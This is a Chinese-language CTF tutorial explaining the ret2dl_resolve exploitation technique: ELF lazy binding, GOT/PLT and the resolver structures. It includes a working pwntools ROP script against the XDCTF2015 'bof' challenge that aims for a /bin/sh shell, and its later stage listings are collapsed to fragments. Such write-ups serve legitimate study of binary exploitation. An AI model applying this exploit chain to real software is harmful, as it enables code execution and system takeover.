0x00 前言
这个利用方式跟重定位和动态链接有关,现在复习跟总结下
0x01 准备知识
延迟绑定
为了减少存储器浪费,现代操作系统支持动态链接特性。即不是在程序编译的时候就把外部的库函数编译进去,而是在运行时再把包含有对应函数的库加载到内存里。由于内存空间有限,选用函数库的组合无限,显然程序不可能在运行之前就知道自己用到的函数会在哪个地址上。比如说对于libc.so来说,我们要求把它加载到地址0x1000处,A程序只引用了libc.so,从理论上来说这个要求不难办到。但是对于用了liba,so, libb.so, libc.so……liby.so, libz.so的B程序来说,0x1000这个地址可能就被liba.so等库占据了。因此,程序在运行时碰到了外部符号,就需要去找到它们真正的内存地址,这个过程被称为重定位。为了安全,现代操作系统的设计要求代码所在的内存必须是不可修改的,那么诸如call read一类的指令即没办法在编译阶段直接指向read函数所在地址,又没办法在运行时修改成read函数所在地址,怎么保证CPU在运行到这行指令时能正确跳到read函数呢?这就需要got表(Global Offset Table,全局偏移表)和plt表(Procedure Linkage Table,过程链接表)进行辅助了。
调用流程
来看一下一个setvbuf
函数的调用过程
jmp
到了setvbug
函数对应的got
表位置,这个时候got
表中存储的是该函数plt
表中的下一条指令,相当于没跳转。push
了一个0x20,这个代表这个函数的id号,后面要用这个来寻找它的重定位表项jump
到plt[0]
,push
了link_map.- 最后
jump
到了dl_resolve
函数.对符号进行解析
调用的流程图如下
相关结构
.dynamic
这个section的用处就是他包含了很多动态链接所需的关键信息,我们现在只关心DT_STRTAB, DT_SYMTAB, DT_JMPREL这三项,这三个东西分别包含了指向.dynstr
, .dynsym,
.rel.plt
这3个section的指针
.dynstr
一个字符串表,index为0的地方永远是0,然后后面是动态链接所需的字符串,0结尾,包括导入函数名,比方说这里很明显有个puts。到时候,相关数据结构引用一个字符串时,用的是相对这个section头的偏移,比方说,在这里,就是字符串相对0x804821C的偏移。)
.dynsym
这个东西,是一个符号表(结构体数组),里面记录了各种符号的信息,每个结构体对应一个符号。我们这里只关心函数符号,比方说上面的puts。结构体定义如下
1 | typedef struct |
.rel.plt
这里是重定位表(不过跟windows那个重定位表概念不同),也是一个结构体数组,每个项对应一个导入函数。结构体定义如下:
1 | typedef struct |
_dl_fixup是在glibc-2.23/elf/dl-runtime.c实现的,我们只关注一些主要函数。
1 | _dl_fixup(struct link_map *l, ElfW(Word) reloc_arg) |
_dl_runtime_resolve会
- 用
link_map
访问.dynamic
,取出.dynstr
,.dynsym
,.rel.plt
的指针 .rel.plt
+ 第二个参数求出当前函数的重定位表项Elf32_Rel
的指针,记作rel
rel->r_info >> 8
作为.dynsym
的下标,求出当前函数的符号表项Elf32_Sym
的指针,记作sym
.dynstr + sym->st_name
得出符号名字符串指针- 在动态链接库查找这个函数的地址,并且把地址赋值给
*rel->r_offset
,即GOT表 - 调用这个函数
实际上好像都是把st_name
转成hash值在libc函数里进行查找的,不过我也没仔细看源码,不是很确定
0x02 漏洞利用方式
- 控制
eip
为PLT[0]的地址,只需传递一个index_arg
参数 - 控制
index_arg
的大小,使reloc
的位置落在可控地址内 - 伪造
reloc
的内容,使sym
落在可控地址内 - 伪造
sym
的内容,使name
落在可控地址内 - 伪造
name
为任意库函数,如system
此外,这个攻击成功的很必要的条件
- dl_resolve 函数不会检查对应的符号是否越界,它只会根据我们所给定的数据来执行。
- dl_resolve 函数最后的解析根本上依赖于所给定的字符串。
stage1
我们先写一个ROP链,直到返回到write@plt1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43#!/usr/bin/python
from pwn import *
elf = ELF('bof')
offset = 112
read_plt = elf.plt['read']
write_plt = elf.plt['write']
ppp_ret = 0x08048619 # ROPgadget --binary bof --only "pop|ret"
pop_ebp_ret = 0x0804861b
leave_ret = 0x08048458 # ROPgadget --binary bof --only "leave|ret"
stack_size = 0x800
bss_addr = 0x0804a040 # readelf -S bof | grep ".bss"
base_stage = bss_addr + stack_size
r = process('./bof')
r.recvuntil('Welcome to XDCTF2015~!\n')
payload = 'A' * offset
payload += p32(read_plt) # 读100个字节到base_stage
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(base_stage)
payload += p32(100)
payload += p32(pop_ebp_ret) # 把base_stage pop到ebp中
payload += p32(base_stage)
payload += p32(leave_ret) # mov esp, ebp ; pop ebp ;将esp指向base_stage
r.sendline(payload)
cmd = "/bin/sh"
payload2 = 'AAAA' # 接上一个payload的leave->pop ebp ; ret
payload2 += p32(write_plt)
payload2 += 'AAAA'
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
r.sendline(payload2)
r.interactive()
stage2
这次控制eip返回PLT[0],要带上write的index_offset。这里修改一下payload2
1 | ... |
stage3
这次控制index_offset
,使其指向我们构造的fake_reloc
1 | ... |
stage4
这一次构造fake_sym
,使其指向我们控制的st_name
1 | ... |
stage5
把st_name
指向输入的字符串"write"
1 | ... |
stage6
替换write
为system
,并修改system
的参数
1 | ... |
得到一个shell
0x03 工具攻击
根据上面的介绍,我们应该很容易可以理解这个攻击了。下面我们直接使用 roputil 来进行攻击。代码如下
1 | from roputils import * |
再放一段不用工具的
1 | #coding:utf-8 |
其它利用方式
在.dynamic节中伪造.dynstr节地址
fake link_map
0x04参考资料
i春秋:https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=44816&highlight=linux%2Bpwn%2B%E5%85%A5%E9%97%A8
ctfwiki:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced-rop-zh/#_5
一位师傅的博客:http://pwn4.fun/2016/11/09/Return-to-dl-resolve/
看雪:https://bbs.pediy.com/thread-227034.htm